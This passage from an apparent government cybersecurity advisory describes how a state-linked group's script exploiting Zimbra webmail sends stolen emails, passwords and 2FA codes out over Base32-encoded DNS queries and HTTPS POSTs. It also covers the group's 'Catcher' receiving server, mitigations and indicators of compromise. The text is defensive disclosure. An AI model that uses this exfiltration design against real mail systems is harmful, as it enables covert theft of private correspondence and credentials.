<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
